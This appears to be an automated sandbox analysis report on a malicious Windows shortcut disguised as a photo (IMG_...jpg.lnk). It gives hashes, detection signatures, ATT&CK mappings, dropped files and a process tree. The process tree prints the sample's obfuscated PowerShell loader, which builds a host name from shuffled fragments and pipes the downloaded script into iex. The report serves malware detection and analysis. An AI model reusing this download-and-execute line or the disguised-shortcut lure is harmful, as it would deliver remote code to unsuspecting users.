e4cc04c73e914171c53c1f7011d78b9b67a130a55c512d4933f911137d350b66

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260727_143452.jpg.lnk
Size 1KB
Sample260728-mcaeaathrf
SHA256 e4cc04c73e914171c53c1f7011d78b9b67a130a55c512d4933f911137d350b66
MD5 06b8b1488a000fc54c9ca48b97211725
SHA1 af009fad1e172b0b83eeef6583d179964f89f148
SHA512 ab3bfba4d87265a59e03723bf6a8c3e154b4e790a36cbe23f78ae85aa209260c5070660c960823dfcd921733f2f16fb1cbebcd098bf922e09573457c3f1639e7
TLSH
T10621CE211BB20379D6BB8B7558B6631187267A1ADA458FDF139082949964220F4B8F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	4928	powershell.exe
8	4928	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5744	cmd.exe

Suspicious behavior: EnumeratesProcesses 43 IoCs

pid	Process
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe
4928	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4928	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5744 wrote to memory of 4928	5744	cmd.exe	90
PID 4928 wrote to memory of 5088	4928	powershell.exe	91
PID 5088 wrote to memory of 2360	5088	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260727_143452.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('toinst','aynow.shop','reservpho')[2,0,1] -join $rpDYw9) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\atabdc0m\atabdc0m.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5088
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5C3F.tmp" "c:\Users\Admin\AppData\Local\Temp\atabdc0m\CSC6BF8645F7C9B42A4B3A7E0443720C9D5.TMP"
      4⤵
      PID:2360

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES5C3F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5C3F.tmp
Size 1KB
SHA256 57e1f8399087333cf5d7da76f6b8245cd4b8eaa3788dce292df3613521788e66
MD5 c4558c45cfbf908f5e7013cdbc98a162
SHA1 105fc57ae514520974ee040e64f944768c7bf821
SHA512 380785c40419dad43e7c738bee72714470839572c56ca8595d558aa35884e15d4d7dd9c67876aa85de11c462482fa93757e230d879cccfbc2fc6fdcfad704815
TLSH
T18421CC0593E84B1AF0B3473169F6131F9278FDA8AFA1935A4440021C2C51508EFA1B72
MD5 SHA1 SHA512 TLSH

Submit Download

atabdc0m.dll

Path C:\Users\Admin\AppData\Local\Temp\atabdc0m\atabdc0m.dll
Size 3KB
SHA256 20fa2e1f4f738cbf4a69f7d8942364a7f448c50c1fb1ca80d8c4c99f8de6d701
MD5 d58ac21b0ded36267af42de2f3dbb4d1
SHA1 7c513e89ab56cbd551d6c49e3212f61f604f66a5
SHA512 3e8d3d27367f0dd0626d1644994033f4ee0445f3489a3561f5b72844f5ef485ba1f96dde5cbdc3bc921cb8b26a4937e416ec461482716d740ad6f1a11141046f
TLSH
T12451DC1AA3EC4A6BE4770734AFF3035337B4F8109FB2536919800228AC61B546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSC6BF8645F7C9B42A4B3A7E0443720C9D5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\atabdc0m\CSC6BF8645F7C9B42A4B3A7E0443720C9D5.TMP
Size 652B
SHA256 5467cf3a4dc25bf2e800e19809903eb622a1e5a30e8d52cec201482b8f1b51ea
MD5 6af22e62c18219ba6b3eff950a69d024
SHA1 94fe102e40e17f283d4ae61809ba49f1b44527c1
SHA512 96358bcd1c6d42f57545e0c442141b5599b391c5f1c32fb1b44aa82a12f7a82aedb7d34f368975721cd3286f2ff90c29f8eeea6b56cd15b4d665e0677d380e17
TLSH
T154F0544A63F8120EF0F34B30BDF543A39568BC64DE3293ED1440135D1C649108A62F71
MD5 SHA1 SHA512 TLSH

Submit Download

atabdc0m.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\atabdc0m\atabdc0m.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

atabdc0m.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\atabdc0m\atabdc0m.cmdline
Size 369B
SHA256 3610a576b506b67213f9a9d4d9762907bbe106aa29206b3b81a36d88838231e4
MD5 379e2602aa140b30cac5456bcc5141ea
SHA1 e6fd45396123d4395da7a16205f7422a805a3017
SHA512 9443cb961d6212923a93a1a694fdb7396dc70350de098114ac20f122f357919b42fec999df05a4ea5f509293d7f3c60eb336246beebe34abfc28b3d80f73520d
TLSH
T1E6E0202A9256CA7D96ED14072169D9ECC37317572A857F8852A0C45ED02700477D1757
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4928-16-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-18-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-11-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-12-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-13-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-14-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-15-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-2-0x00007FFC1513F000-0x00007FFC15140000-memory.dmp

Download

memory/4928-17-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-10-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-9-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-8-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-7-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-31-0x0000022C1DB80000-0x0000022C1DB88000-memory.dmp

Download

memory/4928-6-0x0000022C1D700000-0x0000022C1D722000-memory.dmp

Download

memory/4928-5-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-32-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-33-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-34-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download

memory/4928-35-0x00007FFC14FB0000-0x00007FFC15954000-memory.dmp

Download